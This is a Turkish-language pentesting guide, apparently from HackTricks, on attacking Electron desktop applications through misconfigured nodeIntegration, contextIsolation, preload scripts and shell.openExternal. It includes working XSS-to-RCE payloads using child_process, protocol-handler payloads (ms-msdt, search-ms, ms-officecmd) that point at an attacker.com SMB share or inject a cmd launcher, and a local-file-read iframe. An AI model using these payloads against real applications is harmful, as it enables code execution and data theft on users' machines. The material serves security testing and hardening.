Electron Masaüstü Uygulamaları

{{#include ../../../banners/hacktricks-training.md}}

Giriş

Electron, yerel bir arka uç (NodeJS) ve bir ön uç (Chromium) birleştirir, ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.

Genellikle, electron uygulama kodunu bir .asar uygulaması içinde bulabilirsiniz, kodu elde etmek için onu çıkarmanız gerekir:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electron uygulamasının kaynak kodunda, packet.json içinde güvenlik yapılandırmalarının ayarlandığı main.js dosyasının belirtildiğini bulabilirsiniz.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron'ın 2 işlem türü vardır:

  • Ana İşlem (NodeJS'ye tam erişime sahiptir)
  • Render İşlemi (güvenlik nedenleriyle NodeJS'ye kısıtlı erişime sahip olmalıdır)

Bir render işlemi, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:

const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

renderer process ayarları main process içinde main.js dosyasında yapılandırılabilir. Bazı yapılandırmalar, ayarlar doğru yapılandırıldığında Electron uygulamasının RCE veya diğer güvenlik açıklarını önlemesine yardımcı olacaktır.

Electron uygulaması, Node apileri aracılığıyla cihazı erişebilir, ancak bunu önlemek için yapılandırılabilir:

  • nodeIntegration - varsayılan olarak kapalıdır. Açık olduğunda, renderer process'ten node özelliklerine erişime izin verir.
  • contextIsolation - varsayılan olarak ıktır. Kapalı olduğunda, ana ve renderer süreçleri izole edilmez.
  • preload - varsayılan olarak boştur.
  • sandbox - varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlar.
  • Workers'da Node Entegrasyonu
  • nodeIntegrationInSubframes - varsayılan olarak kapalıdır.
  • Eğer nodeIntegration etkinse, bu, Electron uygulaması içindeki iframe'lerde yüklenen web sayfalarında Node.js API'lerinin kullanılmasına izin verir.
  • Eğer nodeIntegration devre dışı bırakılmışsa, o zaman ön yüklemeler iframe içinde yüklenecektir.

Yapılandırma örneği:

const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Bazı RCE yükleri buradan:

Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Trafiği Yakala

Başlangıç-ana yapılandırmasını değiştirin ve aşağıdaki gibi bir proxy kullanın:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Yerel Kod Enjeksiyonu

Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhtemelen keyfi javascript kodunu çalıştırabilirsiniz. Bunu nasıl yapacağınızı kontrol edin:

{{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md {{#endref}}

RCE: XSS + nodeIntegration

Eğer nodeIntegration ık olarak ayarlandıysa, bir web sayfasının JavaScript'i Node.js özelliklerini kolayca require() çağrısı yaparak kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırmanın yolu:

<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

Bu ayarda belirtilen script, renderer'daki diğer scriptlerden önce yüklenir, bu nedenle Node API'lerine sınırsız erişime sahiptir:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Bu nedenle, script node-features'ı sayfalara aktarabilir:

typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Eğer contextIsolationıksa, bu çalışmayacak

RCE: XSS + contextIsolation

contextIsolation , web sayfası betikleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar tanıtarak her bir kodun JavaScript yürütmesinin diğerini etkilememesini sağlar. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.

Eğer bağlamlar izole edilmemişse, bir saldırgan:

  1. renderer'da keyfi JavaScript çalıştırabilir (XSS veya harici sitelere yönlendirme)
  2. Preload veya Electron iç kodunda kullanılan yerleşik yöntemi kendi fonksiyonu ile üstüne yazabilir
  3. Üstüne yazılmış fonksiyonun kullanılmasını tetikleyebilir
  4. RCE?

Yerleşik yöntemlerin üstüne yazılabileceği 2 yer vardır: Preload kodunda veya Electron iç kodunda:

{{#ref}} electron-contextisolation-rce-via-preload-code.md {{#endref}}

{{#ref}} electron-contextisolation-rce-via-electron-internal-code.md {{#endref}}

{{#ref}} electron-contextisolation-rce-via-ipc.md {{#endref}}

Tıklama olayını atlatma

Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, bunları normal bir sol tıklama yerine orta tıklama yaparak atlatabilirsiniz.

window.addEventListener('click', (e) => {

RCE via shell.openExternal

Bu örnekler hakkında daha fazla bilgi için https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 ve https://benjamin-altpeter.de/shell-openexternal-dangers/ adreslerine bakın.

Bir Electron masaüstü uygulaması dağıtırken, nodeIntegration ve contextIsolation için doğru ayarların sağlanması çok önemlidir. İstemci tarafı uzaktan kod yürütme (RCE), ön yükleme betikleri veya ana süreçten Electron'un yerel kodunu hedef alarak bu ayarlar ile etkili bir şekilde engellendiği belirlenmiştir.

Bir kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Bu dinleyiciler, masaüstü uygulaması tarafından kendi iş mantığını uygulamak için geçersiz kılınır. Uygulama, yönlendirilmiş bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mıılması gerektiğini değerlendirir. Bu karar genellikle openInternally adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon false dönerse, bu, bağlantının harici olarak açılması gerektiğini gösterir ve shell.openExternal fonksiyonu kullanılır.

İşte basitleştirilmiş bir pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS güvenlik en iyi uygulamaları, openExternal fonksiyonu ile güvenilmeyen içeriği kabul etmemeyi önerir, çünkü bu çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konu hakkında daha ayrıntılı örnekler ve açıklamalar için, bu kaynağa başvurulabilir, bu kaynak, bu güvenlik açığını istismar edebilecek Windows protokol örneklerini içermektedir.

Windows protokol istismarına örnekler şunlardır:

<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

İç Dosyaları Okuma: XSS + contextIsolation

contextIsolation'ı devre dışı bırakmak, yerel dosyaları okumak ve dışa aktarmak için <webview> etiketlerinin kullanılmasına olanak tanır; bu, <iframe>'e benzer. Verilen bir örnek, bu açığı kullanarak iç dosyaların içeriğini okuma yöntemini göstermektedir:

Ayrıca, bir iç dosyayı okuma için başka bir yöntem paylaşılmakta ve bir Electron masaüstü uygulamasındaki kritik bir yerel dosya okuma açığı vurgulanmaktadır. Bu, uygulamayı istismar etmek ve verileri dışa aktarmak için bir script enjekte etmeyi içermektedir:

<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Eski Chromium

Eğer uygulamanın kullandığı chromium eski ise ve üzerinde bilinen zafiyetler varsa, bunu istismar etmek ve XSS aracılığıyla RCE elde etmek mümkün olabilir.
Bir örneği bu yazıda görebilirsiniz: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing İçin Dahili URL regex atlatma

Bir XSS bulduğunuzu varsayalım ama RCE'yi tetikleyemiyorsanız veya dahili dosyaları ç alamıyorsanız, bunu kimlik bilgilerini phishing ile çalmak için kullanmayı deneyebilirsiniz.

Öncelikle, yeni bir URL açmaya çalıştığınızda neler olduğunu, ön uçtaki JS kodunu kontrol ederek bilmeniz gerekiyor:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

openInternally çağrısı, bağlantının platforma ait bir bağlantı olup olmadığına göre masaüstü penceresinde ılıp açılmayacağına veya tarayıcıda 3. parti bir kaynak olarak açılıp açılmayacağına karar verecektir.

Eğer fonksiyonun kullandığı regex bypass'lere karşı zayıfsa (örneğin alt alan adlarının noktalarını kaçırmıyorsa) bir saldırgan, XSS'i kötüye kullanarak kullanıcıdan kimlik bilgileri talep eden yeni bir pencere açabilir:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Araçlar

  • Electronegativity Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-paternlerini tanımlamak için bir araçtır.
  • Electrolint Electronegativity kullanan Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
  • nodejsscan üçüncü taraf kütüphanelerdeki güvenlik açıklarını kontrol etmek için
  • Electro.ng: Satın almanız gerekiyor

Laboratuvarlar

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s adresinde güvenlik açığı olan Electron uygulamalarını istismar etmek için bir laboratuvar bulabilirsiniz.

Laboratuvarda size yardımcı olacak bazı komutlar:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referanslar

{{#include ../../../banners/hacktricks-training.md}}